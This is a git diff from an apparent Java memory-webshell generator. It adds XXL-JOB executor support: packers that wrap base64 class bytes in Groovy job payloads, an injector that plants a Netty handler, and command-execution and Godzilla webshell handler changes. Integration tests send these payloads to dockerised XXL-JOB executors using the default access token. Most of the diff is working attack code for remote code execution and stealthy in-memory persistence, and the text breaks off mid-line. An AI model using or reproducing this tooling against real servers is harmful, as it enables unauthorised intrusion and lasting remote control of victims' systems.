diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml index c8de4afd..11a4f06f 100644 --- a/.github/workflows/ci.yaml +++ b/.github/workflows/ci.yaml @@ -31,7 +31,7 @@ jobs: strategy: fail-fast: false matrix: - middleware: [ "tomcat", "jetty", "jbossas", "jbosseap", "wildfly", "glassfish", "resin", "payara", "websphere", "springmvc", "weblogic", "springwebflux" ] + middleware: [ "tomcat", "jetty", "jbossas", "jbosseap", "wildfly", "glassfish", "resin", "payara", "websphere", "springmvc", "weblogic", "springwebflux", xxljob ] runs-on: ubuntu-latest name: ${{ matrix.middleware }} needs: [ unit-test ] diff --git a/README.md b/README.md index be03a2c3..958ba3b0 100644 --- a/README.md +++ b/README.md @@ -60,12 +60,12 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell reajason/memsh | FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent | | ContextValve - Agent | | | | -| Resin(3 ~ 4) | SpringMVC | SpringWebFlux | Netty | -|---------------------|--------------------------|-----------------|-------| -| Servlet | Interceptor | WebFilter | x | -| Filter | ControllerHandler | HandlerMethod | | -| Listener | FrameworkServlet - Agent | HandlerFunction | | -| FilterChain - Agent | | NettyHandler | | +| Resin(3 ~ 4) | SpringMVC | SpringWebFlux | XXL-JOB | +|---------------------|--------------------------|-----------------|--------------| +| Servlet | Interceptor | WebFilter | NettyHandler | +| Filter | ControllerHandler | HandlerMethod | | +| Listener | FrameworkServlet - Agent | HandlerFunction | | +| FilterChain - Agent | | NettyHandler | | | JBossAS(4 ~ 7) | JBossEAP(6 ~ 7) | WildFly(9 ~ 30) | Undertow | |----------------------|----------------------------|------------------------|------------------------| diff --git a/boot/src/main/java/com/reajason/javaweb/boot/BootApplication.java b/boot/src/main/java/com/reajason/javaweb/boot/BootApplication.java index c4869f7e..5491ae96 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/BootApplication.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/BootApplication.java @@ -10,6 +10,7 @@ import org.springframework.boot.autoconfigure.SpringBootApplication; public class BootApplication { public static void main(String[] args) { + SpringApplication.run(BootApplication.class, args); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/XxlJobShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/XxlJobShell.java new file mode 100644 index 00000000..678d9b04 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/XxlJobShell.java @@ -0,0 +1,30 @@ +package com.reajason.javaweb.memshell; + +import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler; +import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaNettyHandler; +import com.reajason.javaweb.memshell.xxljob.injector.XxlJobNettyHandlerInjector; +import org.apache.commons.lang3.tuple.Pair; + +import java.util.Map; + +/** + * @author ReaJason + * @since 2025/1/21 + */ +public class XxlJobShell extends AbstractShell { + public static final String NETTY_HANDLER = "NettyHandler"; + + @Override + protected Map, Class>> getCommandShellMap() { + return Map.of( + NETTY_HANDLER, Pair.of(CommandNettyHandler.class, XxlJobNettyHandlerInjector.class) + ); + } + + @Override + protected Map, Class>> getGodzillaShellMap() { + return Map.of( + NETTY_HANDLER, Pair.of(GodzillaNettyHandler.class, XxlJobNettyHandlerInjector.class) + ); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/GenerateResult.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/GenerateResult.java index 8bfb0054..e95adf9e 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/GenerateResult.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/GenerateResult.java @@ -1,7 +1,9 @@ package com.reajason.javaweb.memshell.config; +import lombok.AllArgsConstructor; import lombok.Builder; import lombok.Data; +import lombok.NoArgsConstructor; import org.apache.commons.codec.binary.Base64; /** @@ -9,6 +11,8 @@ import org.apache.commons.codec.binary.Base64; * @since 2024/11/24 */ @Data +@NoArgsConstructor +@AllArgsConstructor @Builder(builderClassName = "GenerateResultBuilder") public class GenerateResult { private String shellClassName; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/Server.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/Server.java index eb9a3554..2d5872f3 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/Server.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/Server.java @@ -81,6 +81,11 @@ public enum Server { * 中创中间件 */ InforSuite(new InforSuiteShell()), + + /** + * XXL-JOB + */ + XXLJOB(new XxlJobShell()) ; private final AbstractShell shell; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java index 720cdf0d..fe3cffa7 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java @@ -87,6 +87,10 @@ public interface Packer { AgentJar(new AgentJarPacker()), + + XxlJob(new XxlJobPacker()), + + XxlJob230(new XxlJob230Packer()), ; private final Packer packer; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/XxlJob230Packer.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/XxlJob230Packer.java new file mode 100644 index 00000000..067975a4 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/XxlJob230Packer.java @@ -0,0 +1,47 @@ +package com.reajason.javaweb.memshell.packer; + +import com.alibaba.fastjson2.JSONObject; +import com.alibaba.fastjson2.JSONWriter; +import com.reajason.javaweb.memshell.config.GenerateResult; +import org.apache.commons.io.IOUtils; + +import java.io.IOException; +import java.nio.charset.Charset; +import java.util.Objects; + +/** + * @author ReaJason + * @since 2025/1/21 + */ +public class XxlJob230Packer implements Packer { + String template = ""; + + public XxlJob230Packer() { + try { + template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/XXL-Job-DefineClass-230.java")), Charset.defaultCharset()); + } catch (IOException ignored) { + + } + } + + @Override + public String pack(GenerateResult generateResult) { + String source = template + .replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str()) + .replace("{{className}}", generateResult.getInjectorClassName()); + JSONObject jsonObject = new JSONObject(); + jsonObject.put("jobId", 1); + jsonObject.put("executorHandler", "demoJobHandler"); + jsonObject.put("executorParams", "demoJobHandler"); + jsonObject.put("executorBlockStrategy", "COVER_EARLY"); + jsonObject.put("executorTimeout", 0); + jsonObject.put("logId", 1); + jsonObject.put("logDateTime", System.currentTimeMillis()); + jsonObject.put("glueType", "GLUE_GROOVY"); + jsonObject.put("glueSource", source); + jsonObject.put("glueUpdatetime", System.currentTimeMillis()); + jsonObject.put("broadcastIndex", 0); + jsonObject.put("broadcastTotal", 0); + return JSONObject.toJSONString(jsonObject, JSONWriter.Feature.PrettyFormat); + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/XxlJobPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/XxlJobPacker.java new file mode 100644 index 00000000..2f13853e --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/XxlJobPacker.java @@ -0,0 +1,47 @@ +package com.reajason.javaweb.memshell.packer; + +import com.alibaba.fastjson2.JSONObject; +import com.alibaba.fastjson2.JSONWriter; +import com.reajason.javaweb.memshell.config.GenerateResult; +import org.apache.commons.io.IOUtils; + +import java.io.IOException; +import java.nio.charset.Charset; +import java.util.Objects; + +/** + * @author ReaJason + * @since 2025/1/21 + */ +public class XxlJobPacker implements Packer { + String template = ""; + + public XxlJobPacker() { + try { + template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/XXL-Job-DefineClass.java")), Charset.defaultCharset()); + } catch (IOException ignored) { + + } + } + + @Override + public String pack(GenerateResult generateResult) { + String source = template + .replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str()) + .replace("{{className}}", generateResult.getInjectorClassName()); + JSONObject jsonObject = new JSONObject(); + jsonObject.put("jobId", 1); + jsonObject.put("executorHandler", "demoJobHandler"); + jsonObject.put("executorParams", "demoJobHandler"); + jsonObject.put("executorBlockStrategy", "COVER_EARLY"); + jsonObject.put("executorTimeout", 0); + jsonObject.put("logId", 1); + jsonObject.put("logDateTime", System.currentTimeMillis()); + jsonObject.put("glueType", "GLUE_GROOVY"); + jsonObject.put("glueSource", source); + jsonObject.put("glueUpdatetime", System.currentTimeMillis()); + jsonObject.put("broadcastIndex", 0); + jsonObject.put("broadcastTotal", 0); + return JSONObject.toJSONString(jsonObject, JSONWriter.Feature.PrettyFormat); + } +} \ No newline at end of file diff --git a/generator/src/main/resources/XXL-Job-DefineClass-230.java b/generator/src/main/resources/XXL-Job-DefineClass-230.java new file mode 100644 index 00000000..3d3294d9 --- /dev/null +++ b/generator/src/main/resources/XXL-Job-DefineClass-230.java @@ -0,0 +1,30 @@ +import com.xxl.job.core.handler.IJobHandler; + +import java.util.Base64; + +public class DemoGlueJobHandler extends IJobHandler { + + public static class Definder extends ClassLoader { + public Definder() { + super(Thread.currentThread().getContextClassLoader()); + } + + public Class defineClass(byte[] bytes) { + return defineClass(null, bytes, 0, bytes.length); + } + } + + public void execute() throws Exception { + String base64Str = "{{base64Str}}"; + String className = "{{className}}"; + try { + Class.forName(className); + } catch (ClassNotFoundException e) { + try { + new Definder().defineClass(Base64.getDecoder().decode(base64Str)).newInstance(); + } catch (Throwable ee) { + ee.printStackTrace(); + } + } + } +} diff --git a/generator/src/main/resources/XXL-Job-DefineClass.java b/generator/src/main/resources/XXL-Job-DefineClass.java new file mode 100644 index 00000000..40b8ac22 --- /dev/null +++ b/generator/src/main/resources/XXL-Job-DefineClass.java @@ -0,0 +1,42 @@ +import com.xxl.job.core.biz.model.ReturnT; +import com.xxl.job.core.handler.IJobHandler; + +public class DemoGlueJobHandler extends IJobHandler { + + public static class Definder extends ClassLoader { + public Definder() { + super(Thread.currentThread().getContextClassLoader()); + } + + public Class defineClass(byte[] bytes) { + return defineClass(null, bytes, 0, bytes.length); + } + } + + public ReturnT execute(String param) throws Exception { + String base64Str = "{{base64Str}}"; + String className = "{{className}}"; + try { + Class.forName(className); + } catch (ClassNotFoundException e) { + try { + new Definder().defineClass(decodeBase64(base64Str)).newInstance(); + } catch (Throwable ee) { + ee.printStackTrace(); + } + } + return ReturnT.SUCCESS; + } + + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } +} diff --git a/integration-test/build.gradle b/integration-test/build.gradle index 0fa27309..e88732ef 100644 --- a/integration-test/build.gradle +++ b/integration-test/build.gradle @@ -24,6 +24,7 @@ dependencies { testImplementation 'org.hamcrest:hamcrest:3.0' testImplementation 'com.squareup.okhttp3:okhttp:4.12.0' testImplementation 'org.slf4j:slf4j-simple:2.0.16' + testImplementation 'com.alibaba.fastjson2:fastjson2:2.0.53' testImplementation 'net.bytebuddy:byte-buddy:1.15.1' testImplementation 'org.testcontainers:testcontainers:1.20.4' testImplementation 'org.testcontainers:junit-jupiter:1.20.4' @@ -52,6 +53,7 @@ tasks.withType(Test).configureEach { idea { module { excludeDirs -= file('build') + excludeDirs += file('src/main') } } diff --git a/integration-test/docker-compose/xxl-job/docker-compose-220.yaml b/integration-test/docker-compose/xxl-job/docker-compose-220.yaml new file mode 100644 index 00000000..aef6f385 --- /dev/null +++ b/integration-test/docker-compose/xxl-job/docker-compose-220.yaml @@ -0,0 +1,17 @@ +services: + admin: + image: reajason/xxl-job:2.2.0-admin + depends_on: + - db + ports: + - "8080:8080" + executor: + image: reajason/xxl-job:2.2.0-executor + depends_on: + - admin + ports: + - "9999:9999" + db: + image: mysql:8 + environment: + - MYSQL_ROOT_PASSWORD=root \ No newline at end of file diff --git a/integration-test/docker-compose/xxl-job/docker-compose-230.yaml b/integration-test/docker-compose/xxl-job/docker-compose-230.yaml new file mode 100644 index 00000000..32f314c6 --- /dev/null +++ b/integration-test/docker-compose/xxl-job/docker-compose-230.yaml @@ -0,0 +1,17 @@ +services: + admin: + image: reajason/xxl-job:2.3.0-admin + depends_on: + - db + ports: + - "8080:8080" + executor: + image: reajason/xxl-job:2.3.0-executor + depends_on: + - admin + ports: + - "9999:9999" + db: + image: mysql:8 + environment: + - MYSQL_ROOT_PASSWORD=root \ No newline at end of file diff --git a/integration-test/docker-compose/xxl-job/docker-compose-250.yaml b/integration-test/docker-compose/xxl-job/docker-compose-250.yaml new file mode 100644 index 00000000..88252ff7 --- /dev/null +++ b/integration-test/docker-compose/xxl-job/docker-compose-250.yaml @@ -0,0 +1,17 @@ +services: + admin: + image: reajason/xxl-job:2.5.0-admin + depends_on: + - db + ports: + - "8080:8080" + executor: + image: reajason/xxl-job:2.5.0-executor + depends_on: + - admin + ports: + - "9999:9999" + db: + image: mysql:8 + environment: + - MYSQL_ROOT_PASSWORD=root \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java index 79d48d1a..06ba5daf 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.integration; import com.reajason.javaweb.GeneratorMain; -import com.reajason.javaweb.memshell.SpringWebMvcShell; import com.reajason.javaweb.memshell.SpringWebFluxShell; +import com.reajason.javaweb.memshell.SpringWebMvcShell; import com.reajason.javaweb.memshell.config.*; import com.reajason.javaweb.memshell.packer.JarPacker; import com.reajason.javaweb.memshell.packer.Packer; @@ -46,7 +46,7 @@ public class ShellAssertionTool { shellUrl = url + urlPattern; } - GenerateResult generateResult = generate(url, urlPattern, server, shellType, shellTool, targetJdkVersion, packer); + GenerateResult generateResult = generate(urlPattern, server, shellType, shellTool, targetJdkVersion, packer); String content = null; if (packer.getPacker() instanceof JarPacker) { @@ -81,7 +81,7 @@ public class ShellAssertionTool { } } - public static GenerateResult generate(String url, String urlPattern, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packer.INSTANCE packer) { + public static GenerateResult generate(String urlPattern, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packer.INSTANCE packer) { InjectorConfig injectorConfig = new InjectorConfig(); if (StringUtils.isNotBlank(urlPattern)) { injectorConfig.setUrlPattern(urlPattern); @@ -143,6 +143,8 @@ public class ShellAssertionTool { case Velocity -> VulTool.postData(url + "/velocity", content); case Deserialize -> VulTool.postData(url + "/java_deserialize", content); case Base64 -> VulTool.postData(url + "/b64", content); + case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content); + case XxlJob230 -> VulTool.xxlJobExecutor(url + "/run", content); } } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java index 36083ff6..e8b69a8a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java @@ -5,6 +5,10 @@ import lombok.extern.slf4j.Slf4j; import okhttp3.*; import org.junit.jupiter.api.Assertions; +import java.io.IOException; + +import static org.junit.jupiter.api.Assertions.assertEquals; + /** * @author ReaJason * @since 2024/11/30 @@ -36,7 +40,7 @@ public class VulTool { .build(); try (Response response = new OkHttpClient().newCall(request).execute()) { System.out.println(response.body().string()); - Assertions.assertEquals(200, response.code()); + assertEquals(200, response.code()); } } @@ -54,4 +58,25 @@ public class VulTool { Assertions.assertNotEquals(404, response.code()); } } + + @SneakyThrows + public static void xxlJobExecutor(String url, String data) { + OkHttpClient client = new OkHttpClient(); + log.info(data); + RequestBody body = RequestBody.create(data, MediaType.parse("application/json")); + Request request = new Request.Builder() + .url(url) + .post(body) + .addHeader("Connection", "close") + .addHeader("XXL-JOB-ACCESS-TOKEN", "default_token") + .addHeader("Content-Type", "application/json") + .build(); + try (Response response = client.newCall(request).execute()) { + assertEquals(200, response.code()); + Thread.sleep(1000); // wait for job execute + log.info(response.body().string()); + } catch (IOException e) { + e.printStackTrace(); + } + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob220ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob220ContainerTest.java new file mode 100644 index 00000000..a92b726b --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob220ContainerTest.java @@ -0,0 +1,67 @@ +package com.reajason.javaweb.integration.xxljob; + +import com.reajason.javaweb.memshell.XxlJobShell; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; +import com.reajason.javaweb.memshell.packer.Packer; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.DockerComposeContainer; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.io.File; +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2025/1/22 + */ +@Testcontainers +@Slf4j +public class XxlJob220ContainerTest { + + public static final String imageName = "xxljob/xxljob220"; + + @Container + public static final DockerComposeContainer compose = + new DockerComposeContainer<>(new File("docker-compose/xxl-job/docker-compose-220.yaml")) + .withExposedService("executor", 9999); + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, XxlJobShell.NETTY_HANDLER, ShellTool.Command, Packer.INSTANCE.XxlJob), + arguments(imageName, XxlJobShell.NETTY_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.XxlJob) + ); + } + + @AfterAll + static void tearDown() { + String logs = compose.getContainerByServiceName("executor").get().getLogs(); + log.info("container stopped, logs is : {}", logs); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(), Server.XXLJOB, shellType, shellTool, Opcodes.V1_8, packer); + } + + public static String getUrl() { + String host = compose.getServiceHost("executor", 9999); + int port = compose.getServicePort("executor", 9999); + String url = "http://" + host + ":" + port; + log.info("container started, app url is : {}", url); + return url; + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob230ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob230ContainerTest.java new file mode 100644 index 00000000..321f4f5f --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob230ContainerTest.java @@ -0,0 +1,67 @@ +package com.reajason.javaweb.integration.xxljob; + +import com.reajason.javaweb.memshell.XxlJobShell; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; +import com.reajason.javaweb.memshell.packer.Packer; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.DockerComposeContainer; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.io.File; +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2025/1/22 + */ +@Testcontainers +@Slf4j +public class XxlJob230ContainerTest { + + public static final String imageName = "xxljob/xxljob230"; + + @Container + public static final DockerComposeContainer compose = + new DockerComposeContainer<>(new File("docker-compose/xxl-job/docker-compose-230.yaml")) + .withExposedService("executor", 9999); + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, XxlJobShell.NETTY_HANDLER, ShellTool.Command, Packer.INSTANCE.XxlJob230), + arguments(imageName, XxlJobShell.NETTY_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.XxlJob230) + ); + } + + @AfterAll + static void tearDown() { + String logs = compose.getContainerByServiceName("executor").get().getLogs(); + log.info("container stopped, logs is : {}", logs); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(), Server.XXLJOB, shellType, shellTool, Opcodes.V1_8, packer); + } + + public static String getUrl() { + String host = compose.getServiceHost("executor", 9999); + int port = compose.getServicePort("executor", 9999); + String url = "http://" + host + ":" + port; + log.info("container started, app url is : {}", url); + return url; + } +} diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/command/CommandNettyHandler.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/command/CommandNettyHandler.java index 3499b476..ffbcf0b5 100644 --- a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/command/CommandNettyHandler.java +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/command/CommandNettyHandler.java @@ -22,8 +22,8 @@ public class CommandNettyHandler extends ChannelDuplexHandler { @Override @SuppressWarnings("all") public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { - if (msg instanceof DefaultHttpRequest) { - DefaultHttpRequest request = (DefaultHttpRequest) msg; + if (msg instanceof HttpRequest) { + HttpRequest request = (HttpRequest) msg; HttpHeaders headers = request.headers(); String uri = request.uri(); String cmd = getParameter(uri, paramName); @@ -44,12 +44,17 @@ public class CommandNettyHandler extends ChannelDuplexHandler { } catch (Exception ignored) { } send(ctx, result.toString()); + } else { + ctx.fireChannelRead(msg); } } public String getParameter(String requestUrl, String paramName) throws Exception { URI uri = new URI(requestUrl); String query = uri.getQuery(); + if (query == null) { + return null; + } String[] kvs = query.split("&"); for (String kv : kvs) { String k = null; diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/godzilla/GodzillaNettyHandler.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/godzilla/GodzillaNettyHandler.java index 49fd33e9..cd658167 100644 --- a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/godzilla/GodzillaNettyHandler.java +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/godzilla/GodzillaNettyHandler.java @@ -18,6 +18,9 @@ import java.net.URLClassLoader; import java.net.URLDecoder; import java.nio.charset.StandardCharsets; +/** + * @author ReaJason + */ @ChannelHandler.Sharable public class GodzillaNettyHandler extends ChannelDuplexHandler { public static String key; @@ -25,15 +28,15 @@ public class GodzillaNettyHandler extends ChannelDuplexHandler { public static String md5; public static String headerName; public static String headerValue; - private StringBuilder requestBody = new StringBuilder(); - private DefaultHttpRequest request; + private final StringBuilder requestBody = new StringBuilder(); + private HttpRequest request; private static Class payload; - private static Class defClass(byte[] classbytes) throws Exception { + private static Class defineClass(byte[] bytes) throws Exception { URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); method.setAccessible(true); - return (Class) method.invoke(urlClassLoader, classbytes, 0, classbytes.length); + return (Class) method.invoke(urlClassLoader, bytes, 0, bytes.length); } public byte[] x(byte[] s, boolean m) { @@ -48,11 +51,11 @@ public class GodzillaNettyHandler extends ChannelDuplexHandler { @Override public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { - if (msg instanceof DefaultHttpRequest) { - request = (DefaultHttpRequest) msg; + if (msg instanceof HttpRequest) { + request = (HttpRequest) msg; HttpHeaders headers = request.headers(); String value = headers.get(headerName); - if (value == null || !value.equals(headerValue)) { + if (value == null || !value.contains(headerValue)) { ctx.fireChannelRead(msg); return; } @@ -64,7 +67,7 @@ public class GodzillaNettyHandler extends ChannelDuplexHandler { String value = headers.get(headerName); // quick fail,防止其他哥斯拉马打进来走这个逻辑寄了 - if (value == null || !value.equals(headerValue)) { + if (value == null || !value.contains(headerValue)) { ctx.fireChannelRead(msg); return; } @@ -77,7 +80,7 @@ public class GodzillaNettyHandler extends ChannelDuplexHandler { requestBody.setLength(0); byte[] data = x(base64Decode(base64Str), false); if (payload == null) { - payload = defClass(data); + payload = defineClass(data); send(ctx, ""); return; } else { diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/injector/SpringWebFluxNettyHandlerInjector.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/injector/SpringWebFluxNettyHandlerInjector.java index 683774d3..c1e56472 100644 --- a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/injector/SpringWebFluxNettyHandlerInjector.java +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/injector/SpringWebFluxNettyHandlerInjector.java @@ -35,18 +35,14 @@ public class SpringWebFluxNettyHandlerInjector implements ChannelPipelineConfigu public SpringWebFluxNettyHandlerInjector() { try { Object nettyServer = getNettyServer(); - Object handler = getShell(); - inject(nettyServer, handler); + handlerClass = getShellClass(); + inject(nettyServer); } catch (Exception e) { e.printStackTrace(); } } - private Object handler; - - public SpringWebFluxNettyHandlerInjector(Object handler) { - this.handler = handler; - } + private Class handlerClass; public Object getNettyServer() throws Exception { ThreadGroup group = Thread.currentThread().getThreadGroup(); @@ -61,29 +57,22 @@ public class SpringWebFluxNettyHandlerInjector implements ChannelPipelineConfigu return null; } - private Object getShell() throws Exception { + private Class getShellClass() throws Exception { ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - Object interceptor = null; try { - interceptor = classLoader.loadClass(getClassName()).newInstance(); + return classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - interceptor = clazz.newInstance(); + return (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } - return interceptor; } - public void inject(Object nettyServer, Object handler) { - try { - Object config = getFieldValue(getFieldValue(nettyServer, "val$disposableServer"), "config"); - this.handler = handler; - setFieldValue(config, "doOnChannelInit", this); - System.out.println("netty handler injected successfully"); - } catch (Exception ignored) { - } + public void inject(Object nettyServer) throws Exception { + Object config = getFieldValue(getFieldValue(nettyServer, "val$disposableServer"), "config"); + setFieldValue(config, "doOnChannelInit", this); + System.out.println("netty handler injected successfully"); } @SuppressWarnings("all") @@ -149,6 +138,10 @@ public class SpringWebFluxNettyHandlerInjector implements ChannelPipelineConfigu @Override public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress remoteAddress) { ChannelPipeline pipeline = channel.pipeline(); - pipeline.addBefore("reactor.left.httpTrafficHandler", "memshell_handler", ((ChannelHandler) handler)); + try { + pipeline.addBefore("reactor.left.httpTrafficHandler", "memshell_handler", ((ChannelHandler) handlerClass.newInstance())); + } catch (Exception e) { + e.printStackTrace(); + } } } diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/xxljob/injector/XxlJobNettyHandlerInjector.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/xxljob/injector/XxlJobNettyHandlerInjector.java new file mode 100644 index 00000000..4f8fa32b --- /dev/null +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/xxljob/injector/XxlJobNettyHandlerInjector.java @@ -0,0 +1,172 @@ +package com.reajason.javaweb.memshell.xxljob.injector; + +import com.xxl.job.core.biz.impl.ExecutorBizImpl; +import com.xxl.job.core.server.EmbedServer; +import io.netty.channel.ChannelHandler; +import io.netty.channel.ChannelInitializer; +import io.netty.channel.socket.SocketChannel; +import io.netty.handler.codec.http.HttpObjectAggregator; +import io.netty.handler.codec.http.HttpServerCodec; +import io.netty.handler.timeout.IdleStateHandler; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.HashSet; +import java.util.concurrent.LinkedBlockingQueue; +import java.util.concurrent.ThreadPoolExecutor; +import java.util.concurrent.TimeUnit; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + * @since 2025/1/21 + */ +public class XxlJobNettyHandlerInjector extends ChannelInitializer { + static { + new XxlJobNettyHandlerInjector(); + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + public XxlJobNettyHandlerInjector() { + try { + handlerClass = getShellClass(); + inject(); + } catch (Exception e) { + e.printStackTrace(); + } + } + + private Class handlerClass; + + @Override + protected void initChannel(SocketChannel channel) throws Exception { + ChannelHandler channelHandler = (ChannelHandler) handlerClass.newInstance(); + channel.pipeline() + .addLast(new 